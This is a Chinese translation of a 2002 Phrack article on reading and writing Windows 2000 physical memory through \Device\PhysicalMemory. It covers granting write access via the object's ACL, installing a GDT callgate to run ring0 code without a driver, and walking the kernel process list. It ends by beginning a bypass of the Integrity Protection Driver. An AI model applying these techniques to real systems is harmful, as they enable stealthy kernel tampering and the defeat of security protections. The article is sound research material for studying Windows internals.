玩转Windows /dev/(k)mem (p59-0x10)

转载 2007年10月10日 20:10:00
原文:“Playing with Windows /dev/(k)mem”(p59-0x10)
原作者:crazylord <crazylord@minithins.net>

翻译:Refdom
Email: refdom@xfocus.org  (refdom@263.net)
Homepage: www.xfocus.org  (www.opengram.com)
Date:2002-8-11


(Refdom注:本文提供的一些技术实际上在以前就有很多相关文章了,不过,该文提供了一个非常好的深
入分析的思路,值得学习。)


1、介绍

2、介绍WINDOWS对象
  2.1 它们是什么
  2.2 它们的结构
  2.3 对象操作

3、介绍 /Device/PhysicalMemory
  3.1 对象
  3.2 需要写权限?

4、玩 /Device/PhysicalMemory
  4.1 读/写内存
  4.2 什么是Callgate
  4.3 不用驱动运行ring0代码
  4.4 深入到进程表
  4.5 Bonus Track

5、代码示例
  5.1 kmem.h
  5.2 chmod_mem.c
  5.3 winkdump.c
  5.2 winkps.c
  5.4 fun_with_ipd.c

6、结论

7、参考



--[ 1   介绍

    本文介绍Windows /dev/kmem,我的研究是在Windows 2000 professional上实施的,这意味着本文中的
多数代码都可以在windows 2000版本上运行,稍经改动,也可以运行在XP上。很明显Windows 9x/Me不会支持,
因为它们的核心结构并不相同。


--[ 2   介绍Windows对象

    Windows2000使用对象模型来提供非常简单的方式操作多数基本的核心元素。我们可以在本节看看这些对
象和怎么去操作它们。

----[ 2.1 What are they?

    按照微软的说法,设计对象管理器只要来达到下面这些目的:
    * 使用命名对象方便识别
    * 支持POSIX子系统
    * 提供方便的方法来操作系统资源
    * 提供一种装填机制来限制进程使用的资源
    * 顺应C2安全的要求。

    有27种不同的对象类型:
   * Adapter       * File             * Semaphore
   * Callback      * IoCompletion     * SymbolicLink
   * Controler     * Job              * Thread
   * Desktop       * Key              * Timer
   * Device        * Mutant           * Token
   * Directory     * Port             * Type
   * Driver        * Process          * WaitablePort
   * Event         * Profile          * WindowStation
   * EventPair     * Section          * WmiGuid

    多数这些对象从命令就能够看出它们是关于什么的了。我会解释一些模糊的名字:
    * 一个EventPair只是2个Event对象
    * Mutant也被称为互斥体(Mutex),是一种处理资源访问的同步机制
    * Port被LPC(Local Procedure Call)作Inter-Processus 通讯。
    * Semaphore是限制访问资源的计数器
    * Token (Access Token)是安全对象
    * WindowStation是桌面对象容器。

    这些对象可能类似目录树结构一样组织成:

   - /
     - ArcName                 (symbolic links to harddisk partitions)
     - NLS                     (sections ...)
     - Driver                  (installed drivers)
     - WmiGuid
     - Device                  (/dev linux like)
       - DmControl
         - RawDmVolumes
       - HarddiskDmVolumes
         - PhysicalDmVolumes
     - Windows
       - WindowStations
     - RPC Control
     - BaseNamedObjects
       - Restricted
     - ??                      (current user directory)
     - FileSystem              (information about installable files system)
     - ObjectTypes             (contains all avaible object types)
     - Security
     - Callback
     - KnownDlls               (Contains sections of most used DLL)

     "??"目录是当前用户目录,"Device"可以被看作跟LINUX上的/dev一样。你可以在Sysinternals网站上
找到这个结构。

----[ 2.2 他们的结构

    每个对象都包含两部分:对象头和对象实体。Sven B. Schreiber在"Windows 2000 Undocumented Secrets"
一书中定义了多数没公开的头部结构。我们可以来看看这些头结构。

---
from w2k_def.h:

typedef struct _OBJECT_HEADER {
/*000*/ DWORD        PointerCount;       // number of references
/*004*/ DWORD        HandleCount;        // number of open handles
/*008*/ POBJECT_TYPE ObjectType;         // pointer to object type struct
/*00C*/ BYTE         NameOffset;         // OBJECT_NAME offset
/*00D*/ BYTE         HandleDBOffset;     // OBJECT_HANDLE_DB offset
/*00E*/ BYTE         QuotaChargesOffset; // OBJECT_QUOTA_CHARGES offset
/*00F*/ BYTE         ObjectFlags;        // OB_FLAG_*
/*010*/ union
        { // OB_FLAG_CREATE_INFO ? ObjectCreateInfo : QuotaBlock
/*010*/    PQUOTA_BLOCK        QuotaBlock;
/*010*/    POBJECT_CREATE_INFO ObjectCreateInfo;
        };
/*014*/ PSECURITY_DESCRIPTOR SecurityDescriptor;
/*018*/ } OBJECT_HEADER, *POBJECT_HEADER;
---

    头部中的每个偏移量都是负数偏移量,因此你如果想从头结构中找到OBJECT_NAME结构,你应该这样计算:
                address = object_header_address - name_offset

    OBJECT_NAME结构允许创建者通过赋一个名字让对象对其他进程可见。
    OBJECT_HANDLE_DB结构允许核心跟踪当前谁正在使用该对象。
    OBJECT_QUOTA_CHARGES结构用来定义了进程访问对象的配额。
    OBJECT_TYPE结构存储关于对象类型的全局信息,比如:默认的安全权限,对象大小,进程使用对象的默
认配额等。

    对象绑定的安全描述符可以让核心来限制对象访问。

    每一个对象类型的内部程序都十分接近C++对象中的构造和析构:
    * dump method         -可能是为了调试目的,总为NULL
    * open method         -当对象句柄打开时被调用
    * close method        -当对象句柄关闭时被调用
    * delete method       -当对象句柄删除时被调用
    * parse method        -查询对象列表时被调用
    * security method     -读写保护的当前的对象时被调用
    * query method        -当线程查询对象名时调用
    * "ok to close"       -线程关闭句柄时调用

    对象体的结构完全依靠对象类型,在DDK中只有很少部分的对象体结构被公开。如果你对这些结构感兴
趣,你可以使用google :) 或者查看chapeaux-noirs的主页(参见[4])


--- [ 2.3 对象操作

    以用户模式的观点来看,对象操作只要是通过Windows API来执行。比如,为了访问文件对象,可以使
用 fopen()/open(),它们调用 CreateFile(). 我们转化到核心模式 (NtCreateFile())在ntoskrnl.exe
中调用IoCreateFile()。通过反编译IoCreateFile(),可以看见一些函数,比如:ObOpenObjectByName,
ObfDereferenceObject,……

    (BTW:如果用在DDK站点(参见[2])下载的win2k symbols,只能看见这些函数,用支持Windows Symbols
文件的反编译器比如IDA/kd/Softice 因为这些函数没有被导出。)

    每个函数都以Ob开头,表示同对象管理器相关。基本上,普通的开发者不必去处理这些对象,但我们要
去看看。

    对于用户模式,所有的对象管理器相关函数都可以被ntdll.dll输出,这里有一些例子:
    NtCreateDirectoryObject, NtCreateSymbolicLinkObject, NtDuplicateObject,
NtMakeTemporaryObject, NtOpenDirectoryObject, ...

    有些函数在MSDN中公开了,但是多数没有。

    如果你真想理解对象的工作方法,最好看看ntoskrnl.exe中导出的以Ob开头的函数。有21个导出函数,
其中6个是公开的。

    如果你想看看其他15个的原型,去ntifs.h的主页(参见[3])或者去chapeaux-noirs站点(参见[4])。


--[ 3 - 介绍/Device/PhysicalMemory

    为了查看对象信息,我们需要一个类似微软DDK中的核心调试工具。好,让我们现在开始……


Microsoft(R) Windows 2000 Kernel Debugger
Version 5.00.2184.1
Copyright (C) Microsoft Corp. 1981-1999

Symbol search path is: c:/winnt/symbols

Loading Dump File [livekd.dmp]
Full Kernel Dump File

Kernel Version 2195 UP Free
Kernel base = 0x80400000 PsLoadedModuleList = 0x8046a4c0
Loaded kdextx86 extension DLL
Loaded userkdx extension DLL
Loaded dbghelp extension DLL
f1919231 eb30             jmp     f1919263
kd> !object /Device/PhysicalMemory
!object /Device/PhysicalMemory
Object: e1001240  Type: (fd038880) Section
    ObjectHeader: e1001228
    HandleCount: 0  PointerCount: 3
    Directory Object: fd038970  Name: PhysicalMemory
    
    从kd(kernel debugger)剖析基本对象告诉我们一些信息。不必解释所有内容的意义,他们中的大多数
都非常清楚只要你读了文章开头,如果没有,请"jmp dword Introduction_to_Windows_Objects"。 :)

    感兴趣的是,它是一个Section对象,清楚地表明我们要处理内存。现在我们要dump对象的头结构。
kd> dd e1001228 L 6
dd e1001228 L 6
e1001228  00000003 00000000 fd038880 12200010
e1001238  00000001 e1008bf8

details:
--> 00000003 : PointerCount = 3
--> 00000000 : HandleCount  = 0
--> fd038880 : pointer to object type = 0xfd038880
--> 12200010 --> 10 : NameOffset
             --> 00 : HandleDBOffset
             --> 20 : QuotaChargeOffset
             --> 12 : ObjectFlags = OB_FLAG_PERMANENT & OB_FLAG_KERNEL_MODE
--> 00000001 : QuotaBlock
--> e1008bf8 : SecurityDescriptor

    NameOffset存在,不要惊讶,这个对象有一个名字……,但是没有HandleDBOffset。这意味着这个对象
不跟踪分配的句柄。QuotaChargeOffset并不有意思,ObjectFlags告诉我们这个对象是永久对象,并且被核
心创建。

    到现在还没有非常有意思的东西……

    dump这个对象的名字结构,只是确信我们没有走错方向 :)。 (记住偏移量是负数)

kd> dd e1001228-10 L3
dd e1001228-10 L3
e1001218  fd038970 001c001c e1008ae8

--> fd038970 : pointer to object Directory
--> 001c001c --> 001c : UNICODE_STRING.Length
             --> 001c : UNICODE_STRING.MaximumLength
--> e1008ae8 : UNICODE_STRING.Buffer (pointer to wide char string)

kd> du e1008ae8
du e1008ae8
e1008ae8  "PhysicalMemory"

    现在出现有意思的部分了,安全描述符:

kd> !sd e1008bf8
!sd e1008bf8
->Revision: 0x1
->Sbz1    : 0x0
->Control : 0x8004
            SE_DACL_PRESENT
            SE_SELF_RELATIVE
->Owner   : S-1-5-32-544
->Group   : S-1-5-18
->Dacl    :
->Dacl    : ->AclRevision: 0x2
->Dacl    : ->Sbz1       : 0x0
->Dacl    : ->AclSize    : 0x44
->Dacl    : ->AceCount   : 0x2
->Dacl    : ->Sbz2       : 0x0
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x14
->Dacl    : ->Ace[0]: ->Mask : 0x000f001f
->Dacl    : ->Ace[0]: ->SID: S-1-5-18

->Dacl    : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[1]: ->AceFlags: 0x0
->Dacl    : ->Ace[1]: ->AceSize: 0x18
->Dacl    : ->Ace[1]: ->Mask : 0x0002000d
->Dacl    : ->Ace[1]: ->SID: S-1-5-32-544

->Sacl    :  is NULL

    总之,这意味着/Device/PhysicalMemory对象有下面的权限:

user SYSTEM: Delete, Change Permissions, Change Owner, Query Data,
             Query State, Modify State
user Administrator: Query Data, Query State

    基本上,管理员用户没有权限写,但是SYSTEM可以,这实际上意味着管理员也可以做到!

    一定注意到实际上这不象/dev/kmem!!在LINUX中/dev/kmem映射虚拟内存,/Device/PhysicalMemory
映射物理内存,本文更确切的标题应该是"Playing with Windows /dev/mem"因为/dev/mem映射物理内存,
但/dev/kmem听起来更熟悉些。:)

    据我所知,在我写这篇文章的时候,Section对象体结构还没有解剖开,因此我们还不能分析它的结构。


----[ 3.2 需要“写”权限?

    好,我们是用户administrator,并且打算玩玩感兴趣的对象,该怎么做呢?正如多数Windows管理员
所知,可以用schedule服务运行任何进程作为SYSTEM用户。如果你想确信你可以,只要启动schedule用
“net start schedule”并且去打开一个任务执行regedit.exe

c:/>at <when> /interactive regedit.exe
    
    之后可以试试看看SAM注册表,如果能查看,那么你SYSTEM用户,如果不能,你就仍旧是administrator
因为只有用户SYSTEM才拥有读的权力。

    好,如果我们是administrator用户,但如果我们允许任何人写/Device/PhysicalMemory会发生什么
呢?(当然是为了学习的目的)

    我们只要给这个对象添加另一个ACL,就可以了。按照下面的步骤:

    1、打开/Device/PhysicalMemory句柄 (NtOpenSection)
    2、找到它的安全描述符 (GetSecurityInfo)
    3、在当前ACL中添加Read/Write授权 (SetentriesInAcl)
    4、更新安全描述符 (SetSecurityInfo)
    5、关闭先前打开的句柄

    可以参考示例代码:chmod_mem.c

    当运行了chmod_mem.exe,我们再一次dump/Device/PhysicalMemory的安全描述符。

kd> !object /Device/PhysicalMemory
!object /Device/PhysicalMemory
Object: e1001240  Type: (fd038880) Section
    ObjectHeader: e1001228
    HandleCount: 0  PointerCount: 3
    Directory Object: fd038970  Name: PhysicalMemory
kd> dd e1001228+0x14 L1
dd e1001228+0x14 L1
e100123c  e226e018
kd> !sd e226e018
!sd e226e018
->Revision: 0x1
->Sbz1    : 0x0
->Control : 0x8004
            SE_DACL_PRESENT
            SE_SELF_RELATIVE
->Owner   : S-1-5-32-544
->Group   : S-1-5-18
->Dacl    :
->Dacl    : ->AclRevision: 0x2
->Dacl    : ->Sbz1       : 0x0
->Dacl    : ->AclSize    : 0x68
->Dacl    : ->AceCount   : 0x3
->Dacl    : ->Sbz2       : 0x0
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x24
->Dacl    : ->Ace[0]: ->Mask : 0x00000002
->Dacl    : ->Ace[0]: ->SID: S-1-5-21-1935655697-436374069-1060284298-500

->Dacl    : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[1]: ->AceFlags: 0x0
->Dacl    : ->Ace[1]: ->AceSize: 0x14
->Dacl    : ->Ace[1]: ->Mask : 0x000f001f
->Dacl    : ->Ace[1]: ->SID: S-1-5-18

->Dacl    : ->Ace[2]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[2]: ->AceFlags: 0x0
->Dacl    : ->Ace[2]: ->AceSize: 0x18
->Dacl    : ->Ace[2]: ->Mask : 0x0002000d
->Dacl    : ->Ace[2]: ->SID: S-1-5-32-544

->Sacl    :  is NULL

    新的ACE(access-control entry)是Ace[0],拥有0x00000002权限(SECTION_MAP_WRITE)。需要更多
信息,可以查看MSDN中的Security win32 API [9]


--[ 4 - 玩转/Device/PhysicalMemory

    为什么要来处理/Device/PhysicalMemory?我可以说用来读、写、修补内存。这已经足够了。 :)


----[ 4.1 读写内存

    我们开始吧……

    为了读写/Device/PhysicalMemory,必须:

    1、打开对象句柄 (NtOpenSection)
    2、转化虚拟内存地址为物理地址
    3、映射section到物理空间 (NtMapViewOfSection)
    4、在被映射的内存中读写数据
    5、关闭section的映射 (NtUnmapViewOfSection)
    6、关闭对象句柄 (NtClose)

    现在我们的主要目的是怎么转化虚拟内存地址为物理地址。我们知道在核心模式(ring0),有一个函
数 MmGetPhysicalAddress (ntoskrnl.exe)可以做到。但是我们现在在ring3,因此必须来“模拟”这个
函数。

---
from ntddk.h
PHYSICAL_ADDRESS MmGetPhysicalAddress(void *BaseAddress);
---

    PHYSICAL_ADDRESS是quad-word (64 bits)的。原本打算在文章开头分析一下汇编代码,但是它太长
了。地址转化也很普通,我只想快点进行这个题目。

    quad-word的低位被传递给eax,高位传递给edx。要转化虚拟地址到物理地址,可以有两种办法:

* case 0x80000000 <= BaseAddress < 0xA0000000:
    我们唯一要做的只是提供一个0x1FFFF000掩码虚拟地址

* case BaseAddress < 0x80000000 && BaseAddress >= 0xA0000000
    这种办法对于我们来说有点问题,因为我们并没有办法在这个范围转化地址,因为我们需要读cr3记
录或者运行非ring3可调用的汇编指令。需要更多信息,可参考Intel Software Developer's Manual
Volume 3 (see [5]).

    EliCZ告诉我,以他的经验可以猜测一个物理地址偏移掩码,保留部分的索引。掩码:0xFFFF000

    这是一个轻量级版本的MmGetPhysicalAddress()

PHYSICAL_MEMORY MyGetPhysicalAddress(void *BaseAddress) {
   if (BaseAddress < 0x80000000 || BaseAddress >= 0xA0000000) {
      return(BaseAddress & 0xFFFF000);
   }
   return(BaseAddress & 0x1FFFF000);
}

    对于限定地址边界为[0x80000000, 0xA0000000]主要是这情况不能更成功地猜测正确。这就是为什么
如果你想更准确最好还是调用实际上的MmGetPhysicalAddress()。我们可以在一些章节中看到怎么做的。

请参考程序:See winkdump.c

    使用winkdump之后,我意识到实际上还存在另外的问题。当转化0x877ef000以上的虚拟地址,物理地
址得到的结果是0x00000000077e0000以上,但在我的系统上根本不可能!

kd> dd MmHighestPhysicalPage l1
dd MmHighestPhysicalPage l1
8046a04c  000077ef

    从上看出最后的物理页面定位在0x0000000077ef0000。这意味着我们只能dump一小片内存,但总之本
文的目的是为了得到更好的了解关于怎么用/Device/PhysicalMemory,而不只是做一个好的memory dumper。
虽然可dump的范围是ntoskrnl.exe 和 HAL.dll (Hardware Abstraction Layer)映射的区域,你仍然可以
做一些工具来dump系统调用表:

kd> ? KeServiceDescriptorTable
? KeServiceDescriptorTable
Evaluate expression: -2142852224 = 8046ab80

    0x8046ab80是系统服务表结构,象这样的:

typedef struct _SST {
   PDWORD  ServiceTable;           // array of entry points
   PDWORD  CounterTable;           // array of usage counters
   DWORD   ServiceLimit;           // number of table entries
   PBYTE   ArgumentTable;          // array of byte counts
} SST, *PSST;


C:/coding/phrack/winkdump/Release>winkdump.exe 0x8046ab80 16
*** win2k memory dumper using /Device/PhysicalMemory ***

Virtual Address       : 0x8046ab80
Allocation granularity: 65536 bytes
Offset                : 0xab80
Physical Address      : 0x0000000000460000
Mapped size           : 45056 bytes
View size             : 16 bytes

d8 04 47 80 00 00 00 00  f8 00 00 00 bc 08 47 80  | ..G...........G.

Array of pointers to syscalls: 0x804704d8 (symbol KiServiceTable)
Counter table                : NULL
ServiceLimit                 : 248 (0xf8) syscalls
Argument table               : 0x804708bc (symbol KiArgumentTable)

    我们还没有dump248个系统调用地址,只是看了看类似这样的:

C:/coding/phrack/winkdump/Release>winkdump.exe 0x804704d8 12
*** win2k memory dumper using /Device/PhysicalMemory ***

Virtual Address       : 0x804704d8
Allocation granularity: 65536 bytes
Offset                : 0x4d8
Physical Address      : 0x0000000000470000
Mapped size           : 4096 bytes
View size             : 12 bytes

bf b3 4a 80 6b e8 4a 80  f3 de 4b 80              | ..J.k.J...K.

* 0x804ab3bf (NtAcceptConnectPort)
* 0x804ae86b (NtAccessCheck)
* 0x804bdef3 (NtAccessCheckAndAuditAlarm)

    在下面一节,我们会理解什么是callgate,以及我们同/Device/PhysicalMemory怎么用它们去解决
刚才地址转化的问题。


----[ 4.2 什么是 callgate

    callgate是一种能让程序运行在比它实际权限更高权限下的机制。比如,ring3的程序可以去执行
ring0代码。

    要创建一个callgate,必须指定:
    1) 需要代码执行在什么ring等级
    2) 当跳转到ring0时会被执行的函数地址
    3) 传递给函数的参数

    当callgate被访问的时候,处理器首先进行权限检查,保存当前的SS,ESP,CS,EIP寄存器,然后
加载segment selector和新的堆栈指针(ring0堆栈),从TSS到SS,EIP寄存器。这个指针就可以指到新
的ring0堆栈。SS和ESP寄存器被PUSH到堆栈中,参数被拷贝。CS和EIP(保存的)PUSH到堆栈中去调用程
序到新的堆栈。新的segment selector被加载用来处理从callgate被加载到CS和EIP中的新的代码片段和
指令指针。最后,它跳转到在创建callgate时候指定的函数地址。

    一旦完成后,在ring0执行的函数必须清除自己的堆栈,这就是为什么我们在代码中定义函数的时候
要用_declspec(naked)(MS VC++ 6) (类似GCC中的__attribute__(stdcall))

---
from MSDN:
__declspec( naked ) declarator

    对于用naked申明的函数,编译器不会产生prolog和epilog代码。你可以用这些特性通过inline汇编
码来写自己的prolog和epilog代码。
---

    要了解关于更多关于callgate的信息,请参考Intel Software Developer's Manual Volume 1 ([5]).

    为了安装一个Callgate,可以有两种选择:手工在GDT寻找新的空余入口,用来放置我们的Callgate;
或者用ntoskrnl.exe中的未公开函数,但是这些函数只能在ring0访问。由于我们并不在ring0,所以没有
太多的用处,但我还是简要地说明一下:

NTSTATUS KeI386AllocateGdtSelectors(USHORT *SelectorArray,
                                    USHORT nSelectors);
NTSTATUS KeI386ReleaseGdtSelectors(USHORT *SelectorArray,
                                   USHORT nSelectors);
NTSTATUS KeI386SetGdtSelector(USHORT Selector,
                              PVOID Descriptor);

    从它们的名字就可以知道其作用了。:) 因此,如果你打算安装一个callgate,首先使用
KeI386AllocateGdtSelectors() 分配一个GDT Selector, 然后通过KeI386SetGdtSelector 来设置。完成后,
通过KeI386ReleaseGdtSelectors来释放。

    这还是很有意思,但是不符合我们的需要。因此在ring3执行代码的时候需要设置一个GDT Selector。
这接近/Device/PhysicalMemory了。在下一节,我会解释怎么用/Device/PhysicalMemory来安装callgate.


----[ 4.3 不用驱动运行ring0代码

    第一个问题,“为什么运行ring0代码不需要用设备驱动?”

优点:
    * 不需要向SCM注册服务
    * 秘密代码 :)

缺点:
    * 代码不能跟设备驱动那样稳定
    * 需要添加写权限到/Device/PhysicalMemory

    因此要紧记,当通过/Device/PhysicalMemory运行ring0代码的时候,你会遇到很多困难的。

    现在我们可以写内存并且我们知道我们可以用callgate来运行ring0,那么还等什么呢?

    首先,我们需要知道section的什么部分映射去读GDT表。这并不是问题,因为我们能访问全局的描述
符表记录通过sgdt编译指令。

typedef struct _KGDTENTRY {
   WORD LimitLow; // size in bytes of the GDT
   WORD BaseLow;  // address of GDT (low part)
   WORD BaseHigh; // address of GDT (high part)
} KGDTENTRY, *PKGDTENTRY;

KGDT_ENTRY gGdt;
_asm sgdt gGdt; // load Global Descriptor Table register into gGdt

    我们转化虚拟地址从BaseLow/BaseHigh到物理地址,然后我们隐射GDT表的基地址。我们很幸运,即
便GDT表地址并不在我们“想象”的范围内,它也能正确被转化 (99%的可能)

PhysicalAddress = GetPhysicalAddress(gGdt.BaseHigh << 16 | gGdt.BaseLow);

NtMapViewOfSection(SectionHandle,
                   ProcessHandle,
                   BaseAddress,       // pointer to mapped memory
                   0L,
                   gGdt.LimitLow,     // size to map
                   &PhysicalAddress,
                   &ViewSize,         // pointer to mapped size
                   ViewShare,
                   0,                 // allocation type
                   PAGE_READWRITE);   // protection

    最后我们循环映射的地址去找到一个空闲的selector, 通过查看Callgate描述符结构中的"Present"
标记。

typedef struct _CALLGATE_DESCRIPTOR {
   USHORT offset_0_15;    // low part of the function address
   USHORT selector;
   UCHAR  param_count :4;
   UCHAR  some_bits   :4;
   UCHAR  type        :4; // segment or gate type
   UCHAR  app_system  :1; // segment descriptor (0) or system segment (1)
   UCHAR  dpl         :2; // specify which privilege level can call it
   UCHAR  present     :1;
   USHORT offset_16_31;   // high part of the function address
} CALLGATE_DESCRIPTOR, *PCALLGATE_DESCRIPTOR;

    offset_0_15 和 offset_16_31正好是函数地址的低位 和 高位。selector可以是下面所列的一个:

--- from ntddk.h
#define KGDT_NULL       0
#define KGDT_R0_CODE    8   // <-- what we need (ring0 code)
#define KGDT_R0_DATA    16
#define KGDT_R3_CODE    24
#define KGDT_R3_DATA    32
#define KGDT_TSS        40
#define KGDT_R0_PCR     48
#define KGDT_R3_TEB     56
#define KGDT_VDM_TILE   64
#define KGDT_LDT        72
#define KGDT_DF_TSS     80
#define KGDT_NMI_TSS    88
---

    一旦callgate被安装,就还有两步去得到最高的ring0权力:编写我们callgate调用的程序和调用
callgate。

    正如在4.2中所介绍,我们需要编写一个函数,并且有ring0的prolog / epilog,而且我们需要自己
清除堆栈。看看下面的示例代码:

void __declspec(naked) Ring0Func() { // our nude function :]
   // ring0 prolog
   _asm {
      pushad // push eax,ecx,edx,ebx,ebp,esp,esi,edi onto the stack
      pushfd // decrement stack pointer by 4 and push EFLAGS onto the stack
      cli    // disable interrupt
   }
  
   // execute your ring0 code here ...
  
   // ring0 epilog
   _asm {
      popfd // restore registers pushed by pushfd
      popad // restore registers pushed by pushad
      retf  // you may retf <sizeof arguments> if you pass arguments
   }
}

    推送所有的寄存器到堆栈中可以让我们在ring0代码执行的时候保存下所有的寄存器。

    还剩一步,调用callgate……

    一个基本的调用不适用与这种定位于ring0而实际在ring3的callgate程序。我们需要进行"far call"
(inter-privilege level call), 因此为了调用callgate,必须这样做:

short farcall[3];
farcall[0 --> 1] = offset from the target operand. This is ignored when a
callgate is used according to "IA-32 Intel Architecture Software
Developer's Manual (Volume 2)" (see [5]).

farcall[2] = callgate selector

    这个时候,我们可以调用自己的callgate通过inline汇编。

_asm {
   push arg1
   ...
   push argN
   call fword ptr [farcall]
}

    我忘记提醒了,callgate函数中,farcall的第一个参数定位在[ebp+0Ch]。


----[ 4.4 深入进程列表

    现在我们可以去看看怎么用最低的等级去列举核心的进程。这个目的就是为了在低等级下创建一个
核心进程枚举程序,可以用来查看被rootkit隐藏的进程 (修改过taskmgr.exe,系统调用hook等)

    - Process32First/Process32Next, 最简单的公开途径(基态)
    - 使用Class 5的NtQuerySystemInformation,Native API。虽然没有被公开,但是网上有很多例
子(level -1)
    - 用ExpGetProcessInformation,它实际是被NtQuerySystemInformation所调用的(level -2)
    - 读取双向链表PsActiveProcessHead (Level -3) :p

    现在我们已经足够深入了。这个双向链表看起来象这样:

APL (f): ActiveProcessLinks.FLink
APL (b): ActiveProcessLinks.BLink

        process1          process2          process3          processN
0x000 |----------|      |----------|      |----------|
      | EPROCESS |      | EPROCESS |      | EPROCESS |
      |   ...    |      |   ...    |      |   ...    |
0x0A0 |  APL (f) |----->|  APL (f) |----->|  APL (f) |-----> ...
0x0A4 |  APL (b) | /-<--|  APL (b) | /-<--|  APL (b) | /-<-- ...
      |   ...    |      |   ...    |      |   ...    |
      |----------|      |----------|      |----------|

    正如你所见(也许我的示意图画得不好),ActiveProcessLinks结构的next/prev指针不是_EPROCESS
结构指针。它们指向的是另一个LIST_ENTRY结构。这意味着如果我们要得到_EPROCESS结构地址,必须调
节指针。

    (请看例程中kmem.h定义的_EPROCESS结构)

    LIST_ENTRY ActiveProcessLinks位于_EPROCESS结构的偏移0x0A0:
--> Flink = 0x0A0
--> Blink = 0x0A4

    因此,我们可以创建一些宏供以后使用:

#define TO_EPROCESS(_a) ((char *) _a - 0xA0) // Flink to _EPROCESS
#define TO_PID(_a) ((char *) _a - 0x4)       // Flink to UniqueProcessId
#define TO_PNAME(_a) ((char *) _a + 0x15C)   // Flink to ImageFileName

    LIST_ENTRY链表的头是PsActiveProcessHead。可以用kd得到它的地址:

kd> ? PsActiveProcessHead
? PsActiveProcessHead
Evaluate expression: -2142854784 = 8046a180

    只需要知道一件事情。这个链表改变非常的快,你可以在读之前锁定它。下面的程序是用汇编来读
ExpGetProcessInformation:

   mov     ecx, offset _PspActiveProcessMutex
   call    ds:__imp_@ExAcquireFastMutex@4
   [...]
   mov     ecx, offset _PspActiveProcessMutex
   call    ds:__imp_@ExReleaseFastMutex@4

    ExAcquireFastMutex 和 ExReleaseFastMutex被定义为_fastcall,因此参数被反向顺序压栈
(exc,edx,……)。它们在HAL.dll输出。BTW,我没有在winkps.c中锁定。 :)

    首先我们安装一个callgate来执行ring0函数 (MmGetPhysicalAddress and
ExAcquireFastMutex/ExReleaseFastMutex) ,然后我们枚举进程,最后移除callgate。

    请看winkps.c

    你在例程中所见,安装callgate是简单的一步。困难的部分是读LIST_ENTRY结构。这有点点奇怪,
因为读一个链表不应该象假定的那么困难,但是要清楚的是,我们在处理物理内存。

    首先要避免使用太多的callgate,要尽可能少用。记住,在ring3运行ring0代码不是“好事”。在
线程执行的分配级就会发生问题,第二,你的线程(我认为)会有比设备驱动更低的优先权,即使你使
用SetThreadPriority()。

    调度程序基于两件事情进行调度,进程的基本优先权和当前优先权,当你用win32 API SetThreadPriority()
修改线程的优先权,当前优先权被改变,但是它只是相对于基本优先权而言的。在ring3,没有办法去
改变进程的基本优先权。

    为了不去影射进程所有的section,我只在需要的时侯映射1mb的section。我认为这是最好的办法,
因为多数的EPROCESS结构被定位在0xfce***** 到 0xfcf*****范围内。

C:/coding/phrack/winkps/Release>winkps
*** win2k process lister ***

Allocation granularity: 65536 bytes
MmGetPhysicalAddress   : 0x804374e0
virtual address of GDT : 0x80036000
physical address of GDT: 0x0000000000036000
Allocated segment      : 3fb
mapped 0xb000 bytes @ 0x00430000 (init Size: 0xa184 bytes)
mapped 0x100000 bytes @ 0x0043e000 (init Size: 0x100000 bytes)
+ 8     System
mapped 0x100000 bytes @ 0x0054e000 (init Size: 0x100000 bytes)
+ 136   smss.exe
+ 160   csrss.exe
+ 156   winlogon.exe
+ 208   services.exe
+ 220   lsass.exe
+ 420   regsvc.exe
+ 436   svchost.exe
+ 480   svchost.exe
+ 524   WinMgmt.exe
mapped 0x100000 bytes @ 0x0065e000 (init Size: 0x100000 bytes)
+ 656   Explorer.exe
+ 764   OSA.EXE
+ 660   mdm.exe
+ 752   cmd.exe
+ 532   msdev.exe
+ 604   ssh.exe
+ 704   Livekd.exe
+ 716   i386kd.exe
+ 448   uedit32.exe
+ 260   winkps.exe

    3 sections mapping + 1 来选择第一个进程队列看起来还不错。我会在winkps.c中仔细描述,但
最好还是花时间去读代码。

winkps.c的流程

  - GetSystemInfo()
    先分配系统的间隔 (用于计算地址转化的偏移)  

  - LoadLibrary()
    取得ntoskrnl.exe中的MmGetPhysicalAddress地址。这也可以通过分解PE头做到。

  - NtOpenSection
    r/w打开/Device/PhysicalMemory

  - InstallCallgate()
    映射section来安装和删除callgate,并且用第二个参数作为Callgate函数来安装。

  - DisplayProcess()
    主循环。通过异常处理捕获错误。我这样做是为了尝试清除Callgate即使发生类似越界访问的错
误(错误的映射就会发生)

  - UninstallCallgate()
    删除Callgate,取消映射

  - NtClose()
    简单地关闭句柄 :)

    现在,你最好读代码了,并且尝试重写winkdump.c,用支持callgate更好的地址转化。 :>


----[ 4.5 Bonus Track

    我能知道的是,现在唯一的产品来限制/Device/PhysicalMemory访问的是"Integrity Protection
Driver (IPD)" Pedestal Software (see [6]).

---
from README:
    The IPD forbids any process from opening /Device/PhysicalMemory.
---

    呵呵,用ipd,我们也要去接触/Device/PhysicalMemory, :) 我不知道这个产品是否有名,但是无
论如何,我都要绕过它的保护。为了限制访问/Device/PhysicalMemory, IPD hook了ZwOpenSection(),
并且检查是否Section没有通过调用/Device/PhysicalMemory来被打开。

---
from h_mem.c
   if (restrictEnabled()) {
      if (ObjectAttributes && ObjectAttributes->ObjectName &&
          ObjectAttributes->ObjectName->Length>0) {
          if (_wcsicmp(ObjectAttributes->ObjectName->Buffer,
                       L"//Device//PhysicaMemory")==0) {
             WCHAR buf[200];
             swprintf(buf,
                      L"Blocking device/PhysicalMemory access,
                      procid=0x%x/n", PsGetCurrentProcessId());
             debugOutput(buf);
             return STATUS_ACCESS_DENIED;
          }
       }
    }
---

    _wcsicmp()提供了两个Unicode buffer的小写比较,因此,我们想办法用其他的名字打开对象。在
第一节中,我们已经看见有symbolic link对象类型,因此,如果我们可以用symbolic link对象连接到
/Device/PhysicalMemory,那不就很好了?

